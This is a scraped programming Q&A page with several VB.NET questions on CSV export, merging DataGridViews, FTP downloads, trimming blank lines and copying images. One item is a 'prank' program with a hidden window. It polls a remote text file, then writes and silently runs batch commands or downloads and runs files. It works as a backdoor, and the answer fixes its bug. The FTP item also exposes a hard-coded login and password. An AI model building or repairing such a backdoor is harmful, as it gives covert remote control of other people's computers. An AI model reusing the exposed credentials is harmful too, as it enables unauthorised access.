I have a visual basic application where I read in an excel spreadsheet and write the contents to a .csv file. The application works as expected however there appears to be an extra line feed generated at the end of each line. This is the code I am executing:
Private Sub OpenFileDialog1_FileOk(ByVal sender As System.Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles OpenFileDialog1.FileOk
Dim strm As System.IO.Stream
strm = OpenFileDialog1.OpenFile()
TextBox1.Visible = True
Dim fileName As String = OpenFileDialog1.FileName.ToString()
Dim sPath As String = StrReverse(fileName) 'reverse the string
sPath = Mid(sPath, InStr(sPath, "\"), Len(sPath)) 'extract from the first slash
sPath = StrReverse(sPath) 'reverse it again
Dim xlsFileFolder As String = sPath
Dim xlsFileName As String = Path.GetFileName(fileName)
Dim csvFileName As String = Path.GetFileNameWithoutExtension(fileName) + ".csv"
Dim csfFileNameAndPath As String = xlsFileFolder + csvFileName
If Not (strm Is Nothing) Then
Dim di As New IO.DirectoryInfo(xlsFileFolder)
Dim aryFi As IO.FileInfo() = di.GetFiles(xlsFileName)
Dim ds As New DataSet
Dim workbook As IWorkbook
Dim worksheet As ISheet
Dim sheetCount As Integer
Dim file = New FileStream(fileName, FileMode.Open, FileAccess.Read)
workbook = New HSSFWorkbook(file)
sheetCount = workbook.NumberOfSheets
Dim table As New DataTable
worksheet = workbook.GetSheetAt(0)
Dim numberOfDataRecords = worksheet.PhysicalNumberOfRows
Dim numberOfColumns = worksheet.GetRow(0).PhysicalNumberOfCells
Dim dataRow As Integer = 0
Dim dataColumn As Integer = 0
Dim quote As String = """"
Dim cellData As String = ""
Using writer As StreamWriter = New StreamWriter(csfFileNameAndPath)
For dataRow = 0 To numberOfDataRecords - 1
Dim csvLine As String = quote
For dataColumn = 0 To numberOfColumns - 1
cellData = worksheet.GetRow(dataRow).GetCell(dataColumn).ToString()
cellData = cellData.Replace(quote, "'")
csvLine = csvLine + cellData + quote + "," + quote
Next
Dim l As Integer = csvLine.Length - 2
csvLine = Microsoft.VisualBasic.Left(csvLine, l)
csvLine = csvLine + vbCr
writer.WriteLine(csvLine)
Next
End Using
TextBox1.Text = "Done!"
End If
End Sub
This is an image of the selected excel file:
And this is an image of the resulting .csv file:
As you can see, there is a blank line being generated after each line of text in the .csv file.
Any assistance is greatly appreciated.
Thanks!
Remove this line and you should be fine. csvLine = csvLine + vbCr
Related
This program has a "fl" variable that at a specific point, gets changed to file(0), the first line of the read file. I want to run some stuff when "fl" IS NOT EQUAL to "file(0)". I'm making this for the 1st of April. I'm not the best at this, so I figured to start this early. (CTRL + F for THIS_LINE if you want to find the line that I suppose doesn't work.)
Imports System
Imports System.IO
Imports System.Collections
Public Class Form1
Private Property fl As String
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Me.Opacity = 0
start.Enabled = True
End Sub
Private Sub start_Tick(sender As Object, e As EventArgs) Handles start.Tick
main()
start.Enabled = False
End Sub
Private Sub main()
' Preparations
start.Enabled = False
Me.Hide()
Dim stopval As Integer = 0
Dim failcount As Integer = 0
If Directory.Exists(My.Computer.FileSystem.SpecialDirectories.Temp & "\hb") = False Then
My.Computer.FileSystem.CreateDirectory(My.Computer.FileSystem.SpecialDirectories.Temp & "\hb\")
End If
If File.Exists(My.Computer.FileSystem.SpecialDirectories.Temp & "\hb\v.txt") Then
My.Computer.FileSystem.DeleteFile(My.Computer.FileSystem.SpecialDirectories.Temp & "\hb\v.txt")
End If
Dim fl As String = "asd"
' Actual stuff that needs to happen
dlfile.Enabled = True
End Sub
Private Sub dlfile_Tick(sender As Object, e As EventArgs) Handles dlfile.Tick
Try
My.Computer.Network.DownloadFile("http://sth.sth/v.txt", My.Computer.FileSystem.SpecialDirectories.Temp & "\hb\v.txt")
Catch ex As Exception
MsgBox("fail")
Dim asd As Integer = 0
End Try
dlsuc()
End Sub
Private Sub dlsuc()
Dim x As Integer = 0
Threading.Thread.Sleep(3000)
Dim file_ As String = My.Computer.FileSystem.SpecialDirectories.Temp & "\hb\v.txt"
Dim file As String() = IO.File.ReadAllLines(file_)
Dim firstline As String = file(0)
Dim secondline As String = file(1)
If fl IsNot file(0) Then 'THIS_LINE
' Executing the command
If secondline = "command" Then
Dim file_name As String = My.Computer.FileSystem.SpecialDirectories.Temp & "\hb\asdt.bat"
Dim i As Integer
Dim aryText(3) As String
aryText(0) = "#echo off"
aryText(1) = "cls"
aryText(2) = file(2)
aryText(3) = "pause"
Dim objWriter As New System.IO.StreamWriter(file_name)
For i = 0 To 3
objWriter.WriteLine(aryText(i))
Next
objWriter.Close()
Process.Start(My.Computer.FileSystem.SpecialDirectories.Temp & "\hb\asdt.bat")
Threading.Thread.Sleep(500)
Do Until x > 49
Try
My.Computer.FileSystem.DeleteFile(My.Computer.FileSystem.SpecialDirectories.Temp & "\hb\asdt.bat")
Catch ex As Exception
Dim xyz As String = Nothing
End Try
x = x + 1
Loop
End If
If secondline = "download" Then
Dim filename As String = file(3)
My.Computer.Network.DownloadFile(file(2), My.Computer.FileSystem.SpecialDirectories.Temp & "\hb\" & filename)
End If
If secondline = "downloadr" Then
Dim filename As String = file(3)
My.Computer.Network.DownloadFile(file(2), My.Computer.FileSystem.SpecialDirectories.Temp & "\hb\" & filename)
Process.Start(My.Computer.FileSystem.SpecialDirectories.Temp & "\hb\" & filename)
End If
End If
' After executing the given command
fl = file(0)
Threading.Thread.Sleep(500)
My.Computer.FileSystem.DeleteFile(My.Computer.FileSystem.SpecialDirectories.Temp & "\hb\v.txt")
file_ = Nothing
file = Nothing
firstline = Nothing
secondline = Nothing
End Sub
End Class
Update:
Also, do you know why doesn't this work? I trid it with them in one if too:
If Not fl.Equals(file(0)) Or Not fl.Equals("000") Then
End If
But it's not working
Private Sub dlsuc()
Dim x As Integer = 0
Threading.Thread.Sleep(3000)
Dim file_ As String = My.Computer.FileSystem.SpecialDirectories.Temp & "\hb\v.txt"
Dim file As String() = IO.File.ReadAllLines(file_)
Dim firstline As String = file(0)
Dim secondline As String = file(1)
If Not fl.Equals(file(0)) Then 'THIS_LINE
If Not fl = "000" Then
' Executing the command
If secondline = "command" Then
Dim file_name As String = My.Computer.FileSystem.SpecialDirectories.Temp & "\hb\asdt.bat"
Dim i As Integer
Dim aryText(3) As String
aryText(0) = "#echo off"
aryText(1) = "cls"
aryText(2) = file(2)
aryText(3) = "pause"
Dim objWriter As New System.IO.StreamWriter(file_name)
For i = 0 To 3
objWriter.WriteLine(aryText(i))
Next
objWriter.Close()
Process.Start(My.Computer.FileSystem.SpecialDirectories.Temp & "\hb\asdt.bat")
Threading.Thread.Sleep(500)
Do Until x > 49
Try
My.Computer.FileSystem.DeleteFile(My.Computer.FileSystem.SpecialDirectories.Temp & "\hb\asdt.bat")
Catch ex As Exception
Dim xyz As String = Nothing
End Try
x = x + 1
Loop
End If
If secondline = "download" Then
Dim filename As String = file(3)
My.Computer.Network.DownloadFile(file(2), My.Computer.FileSystem.SpecialDirectories.Temp & "\hb\" & filename)
End If
If secondline = "downloadr" Then
Dim filename As String = file(3)
My.Computer.Network.DownloadFile(file(2), My.Computer.FileSystem.SpecialDirectories.Temp & "\hb\" & filename)
Process.Start(My.Computer.FileSystem.SpecialDirectories.Temp & "\hb\" & filename)
End If
End If
End If
' After executing the given command
fl = file(0)
Threading.Thread.Sleep(500)
My.Computer.FileSystem.DeleteFile(My.Computer.FileSystem.SpecialDirectories.Temp & "\hb\v.txt")
file_ = Nothing
file = Nothing
firstline = Nothing
secondline = Nothing
End Sub
Then change this
If fl IsNot file(0) Then 'THIS_LINE
to
If Not fl.Equals(file(0)) Then 'THIS_LINE
Side note:
You have declared fl twice, so if that was not intended, change this
Dim fl As String = "asd"`
to this
fl = "asd"
I'm new to VB.net. I want to combine two datagridviews, I get those two data from a CSV file. For example I have Datagridview1:
Dim sr As System.IO.StreamReader = Nothing
Dim dt As New DataTable
Try
readFileName = "LNU010F" & "_" & dateParam.ToString("MM-dd-yyyy") & ".csv"
sr = New System.IO.StreamReader("C:\Documents and Settings\ucpb\Desktop\Sample CSV data\" + readFileName)
Dim newline() As String = sr.ReadLine.Split("|"c)
dt.Columns.AddRange({New DataColumn(newline(11)), New DataColumn(newline(48))})
While (Not sr.EndOfStream)
newline = sr.ReadLine.Split("|"c)
Dim newrow As DataRow = dt.NewRow
newrow.ItemArray = {newline(11), newline(48)}
dt.Rows.Add(newrow)
End While
DataGridViewCSV1.DataSource = dt
This is what I get from the first code.
http://i.stack.imgur.com/QaJZ1.png
I have Datagridview2:
Dim delimeter As String = txtDelimiter.Text
Dim fileReader As System.IO.StreamReader = Nothing
Dim dt As New DataTable
Try
fileName = txtName.Text & "_" & dateParam.ToString("MM-dd-yyyy")
readFileName = txtName.Text & "_" & dateParam.ToString("MM-dd-yyyy") & ".csv"
fileReader = New System.IO.StreamReader("C:\Documents and Settings\ucpb\Desktop\Sample CSV data\" + readFileName)
Dim readColumn As String = fileReader.ReadLine
Dim splitColumn As String() = readColumn.Split(delimeter)
For Each arr As String In splitColumn
dt.Columns.Add(arr)
Next
Dim readRow As String = fileReader.ReadLine
Dim splitRow As String()
While readRow <> ""
splitRow = readRow.Split(delimeter)
dt.Rows.Add(splitRow)
readRow = fileReader.ReadLine()
End While
DataGridViewCSV2.DataSource = dt
This is what I get from the second code.
http://i.stack.imgur.com/r0SmT.png
What I want is to add the UID(Datagridview1) at the end of the Datagridview2. Acctno is the key, Datagridview2 should have the same UID as in the first datagridview because the data is not properly arranged in the datagridview2. Any answer would be appreciated. Thank you.
We have a service that provides several files per day for pickup. Each file is appended with today's date and the hours, minutes, seconds and milliseconds stamp of the time the file was created.
Our goal is to download all files for a given day regardless of the time stamp. I've set the following variable:
Dim remoteFile As String = "/datafeed/sdlookup-total-" & DateTime.Today.Year.ToString
& "-" & DateTime.Today.Month.ToString("0#") & "-" & DateTime.Today.Day.ToString("0#") &
".csv.zip"
When I run the console application, I receive a HTTP 550 file not found because the files on the FTP all have the timestamp after the day e.g.
sdlookup-total-2013-07-27_02_15_00_272.csv.zip
The Module is as follows:
Imports System.IO
Imports System.IO.Compression
Imports System.Net
Imports System.Net.WebClient
' This module when run will download the file specified and save it to the local path as defined.
Module Module1
Dim Today As Date = Now()
' Change the value of localFile to the desired local path and filename
Dim localFile As String = "C:\ForeclosureFile\sdlookoup-total-" & Today.Year.ToString & "-" &
Today.Month.ToString("0#") & "-" & Today.Day.ToString("0#") & ".csv.zip"
' Change the value of remoteFile to the desired filename
Dim remoteFile As String = "/datafeed/sdlookup-total-" & Today.Year.ToString & "-" &
Today.Month.ToString("0#") & "-" & Today.Day.ToString("0#") & ".csv.zip"
Const host As String = "ftp://Datafeed.foreclosure.com"
Const username As String = "sdlookup"
Const pw As String = "ourpass"
Dim strDownLoadTemplate = "sdlookup-total-" & Today.Year.ToString & "-" & Today.Month.ToString
("0#") & "-" & Today.Day.ToString("0#") & ".csv.zip"
Dim strCleanFileForDTS As String
Dim strLocalZipFile = "C:\ForeclosureFile\ForeclosureFull.zip"
Dim strLocalCSVFile = "C:\ForeclosureFile\Foreclosurefull.csv"
Sub Main()
Dim URI As String = host + remoteFile
Dim req As FtpWebRequest = CType(FtpWebRequest.Create(URI), FtpWebRequest)
req.Credentials = New NetworkCredential(username, pw)
req.KeepAlive = False
req.UseBinary = True
req.Method = System.Net.WebRequestMethods.Ftp.DownloadFile
Using response As System.Net.FtpWebResponse = CType(req.GetResponse,
System.Net.FtpWebResponse)
Using responseStream As IO.Stream = response.GetResponseStream
Using fs As New IO.FileStream(localFile, IO.FileMode.Create)
Dim buffer(2047) As Byte
Dim read As Integer = 0
Do
read = responseStream.Read(buffer, 0, buffer.Length)
fs.Write(buffer, 0, read)
Loop Until read = 0
responseStream.Close()
fs.Flush()
fs.Close()
End Using
responseStream.Close()
End Using
response.Close()
End Using
Dim zipPath As String = "C:\ForeclosureFile\"
Dim extractPath As String = "C:\ForeclousreFile"
ZipFile.ExtractToDirectory(zipPath, extractPath)
End Sub
Sub ProcessFile()
'Downloaded file
Dim oFile As System.IO.File
Dim oRead As System.IO.StreamReader
Dim strLocalCSVFile As String = "C:\ForeclosureFile\sdlookoup-total-" &
DateTime.Today.Year.ToString & "-" & DateTime.Today.Month.ToString("0#") & "-" &
DateTime.Today.Day.ToString("0#") & ".csv"
Dim strCleanFileForDTS As String = "C:\ForeclosureFile\ForDTS\sdlookoup-total-" &
DateTime.Today.Year.ToString & "-" & DateTime.Today.Month.ToString("0#") & "-" &
DateTime.Today.Day.ToString("0#") & ".csv"
Dim LineIn As String
'Dim Fields() As String
'New File
Dim oNewFile As System.IO.File
Dim oWrite As System.IO.StreamWriter
oWrite = File.CreateText(localFile & strCleanFileForDTS)
oRead = File.OpenText(localFile & strLocalCSVFile)
' strLocalCSVFile()
While oRead.Peek <> -1
'While oRead.
LineIn = oRead.ReadLine()
'Fixes file problem
oWrite.WriteLine(Replace(LineIn, """", "", 1))
End While
oRead.Close()
oWrite.Close()
End Sub
Sub FTPFileDownload(strtFetchFile As String, PathToSave As String)
Dim myFtpWebRequest As FtpWebRequest
Dim myFtpWebResponse As FtpWebResponse
Dim myStreamWriter As StreamWriter
Dim strFullPathandFile As String
strFullPathandFile = PathToSave & strtFetchFile
myFtpWebRequest = WebRequest.Create("ftp://Datafeed.foreclosure.com/datafeed/" &
strtFetchFile)
myFtpWebRequest.Credentials = New NetworkCredential("sdlookup", "ohpaiH1b")
myFtpWebRequest.Method = WebRequestMethods.Ftp.DownloadFile
myFtpWebRequest.UseBinary = True
myFtpWebRequest.UsePassive = True
myFtpWebResponse = myFtpWebRequest.GetResponse()
PathToSave = "D:\test.zip"
myStreamWriter = New StreamWriter(PathToSave)
myStreamWriter.Write(New StreamReader(myFtpWebResponse.GetResponseStream()).ReadToEnd)
myStreamWriter.Close()
' litResponse.Text = myFtpWebResponse.StatusDescription
myFtpWebResponse.Close()
End Sub
Public Sub DownloadFiles(ByVal Wildcard As String)
Wildcard = "sdlookup-total-*.csv.zip"
Dim Files As String() = GetFiles(Wildcard)
For Each file As String In Files
DownloadFile(file)
Next
End Sub
End Module
How should I modify the above module so that all files containing sdlookup-total-"Today'sDate".csv.zip regardless of timestamp are downloaded each time the module is executed?
I am trying to remove the blank lines at the end of a text file. The program takes a file, manipulates it and produces another file. However, there's blank lines at the end of the file that I need to get rid of...
Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
' Save to desktop if nothing is selected
If txtDestLoc.Text = "" Then
txtDestLoc.Text = "C:\Documents and Settings\" & LCase(Environment.UserName) & "\desktop"
End If
If txtFileLoc.Text <> "" Then
Dim fsr As New FileStream(txtFileLoc.Text, FileMode.Open)
Dim sr As New StreamReader(fsr)
Dim sb As New System.Text.StringBuilder
'Dim strHeader As String
' Get just file name
Dim strFileName = Me.OpenFileDialog1.FileName()
Dim fnPeices() As String = strFileName.Split("\")
Dim fileName As String = ""
fileName = "CCCPositivePay.txt"
Dim strOutFile As String = txtDestLoc.Text & "\" & fileName
Dim fsw As New FileStream(strOutFile, FileMode.Create, FileAccess.Write)
Dim w As New StreamWriter(fsw)
Dim i As Double
Dim srRow As String
Dim strW As String
Dim strDate As String
Dim strAmt As String
Dim strChNo As String
Dim strName As String
Dim strAddInfo As String
Dim strCustAcct As String
Dim totamt As Double = 0
Dim strAcct As String = "2000002297330"
strLoc = txtDestLoc.Text()
srRow = ""
Do While sr.Peek() <> -1
srRow = srRow.ToString & sr.ReadLine()
If srRow.Length = 133 Then
If srRow.Substring(131, 2) = "CR" Then
strCustAcct = srRow.Substring(2, 18).Replace("-", "")
strName = srRow.Substring(23, 35)
strAddInfo = srRow.Substring(23, 30)
strDate = srRow.Substring(103, 4) + srRow.Substring(97, 2) + srRow.Substring(100, 2)
strChNo = srRow.Substring(110, 10)
strAmt = strip(srRow.Substring(121, 10))
strW = strAcct + strChNo.Trim.PadLeft(10, "0") + strAmt.Trim.PadLeft(10, "0") + strDate + " " + strAddInfo + Space(8) + strName + Space(20)
sb.AppendLine(strW)
totamt = totamt + CDbl(strAmt)
i = i + 1
End If
End If
srRow = ("")
Loop
'w.WriteLine(strHeader)
w.WriteLine(sb.ToString)
Dim file As String = txtFileLoc.Text
Dim path As String = txtFileLoc.Text.Substring(0, File.lastindexof("\"))
Dim strFileProcessed As String
strFileProcessed = fnPeices(fnPeices.Length - 1)
Label1.Text = "Refund File Processed: " & strFileProcessed
Label2.Text = "File saved to: " & strOutFile
' Close everything
w.Close()
sr.Close()
fsw.Close()
fsr.Close()
' Move file after processing
System.IO.File.Move(file, path + "\CB008_Processed\" + Now.ToString("MMddyyyyHHmm") + strFileProcessed)
' Put a copy of the results in "Processed" folder
System.IO.File.Copy(strOutFile, path + "\CB008_Processed\" + Now.ToString("MMddyyyyHHmm") + fileName)
Else
MessageBox.Show("Please select a Refund file to process.", "CCC Refund File", MessageBoxButtons.OK)
End If
End Sub
Public Function strip(ByVal des As String)
Dim strorigFileName As String
Dim intCounter As Integer
Dim arrSpecialChar() As String = {".", ",", "<", ">", ":", "?", """", "/", "{", "[", "}", "]", "`", "~", "!", "#", "#", "$", "%", "^", "&", "*", "(", ")", "_", "-", "+", "=", "|", " ", "\"}
strorigFileName = des
intCounter = 0
Dim i As Integer
For i = 0 To arrSpecialChar.Length - 1
Do Until intCounter = 29
des = Replace(strorigFileName, arrSpecialChar(i), "")
intCounter = intCounter + 1
strorigFileName = des
Loop
intCounter = 0
Next
Return strorigFileName
End Function
Only do a Writeline if Not String.IsNullOrEmpty(sb)
When I load images using openfiledialog I need to store a backup copy of the images to the other folder using the same filename and with the same extension.So how do i do that as in the below mentioned code I am able to copy only one image and I have given random string for that image.But I don't need that.I want to copy with the same filename and with the same extension.And if I have the same filename it should overwrite it but not with a different name and extension.
Any help will be greatly appreciated.
If OpenFileDialog1.ShowDialog = Windows.Forms.DialogResult.OK Then
OpenFileDialog1.Multiselect = True
Dim r As New Random()
Dim i As Integer
Dim strTemp As String = ""
For i = 0 To 8
strTemp = strTemp & Chr(CInt(Int((26 * r.NextDouble()) + 65)))
Next
Dim str As String
For Each str In OpenFileDialog1.FileNames
System.IO.File.Copy(str, Application.StartupPath + "\DownloadedImages\" & "strTemp.jpg", True)
Next
End If
And I achieved it but there is one problem I am able to copy one image can you say me how to do it for multiple images.And here is the code:
Dim fso As New FileSystemObject
Dim str As String
str = OpenFileDialog1.FileName
MyExtension = fso.GetExtensionName(str)
For i = 0 To OpenFileDialog1.FileNames.Length - 1
System.IO.File.Copy(OpenFileDialog1.FileNames(i), Application.StartupPath + "\DownloadedImages\" + strTemp & "." & MyExtension, True)
Next
This line:
System.IO.File.Copy(str, Application.StartupPath + "\DownloadedImages\" & "strTemp.jpg", True)
Should read:
System.IO.File.Copy(str, Application.StartupPath + "\DownloadedImages\" & strTemp & ".jpg", True)
You should use the Path class. It has methods for getting files names with or without extension as well getting the extension only.
Also, strTemp should not be in quotes as this will be the literal string "strTemp" not the value in the variable strTemp
If OpenFileDialog1.ShowDialog = Windows.Forms.DialogResult.OK Then
Dim str As String
For Each str In OpenFileDialog1.FileNames
Dim fso As New FileSystemObject
Dim MyName As String
Dim MyExtension As String
MyName = fso.GetFileName(CStr(str))
MyExtension = fso.GetExtensionName(MyName)
System.IO.File.Copy(str, Application.StartupPath + "\Backup\" + MyName & "." & MyExtension, True)
CheckedListBox1.Items.Add(str, CheckState.Checked)
Thumbcontrol1.AddThumbnail(str)
Thumbcontrol1.BackgroundImage = Nothing
CheckedListBox1.SelectedIndex = 0
Next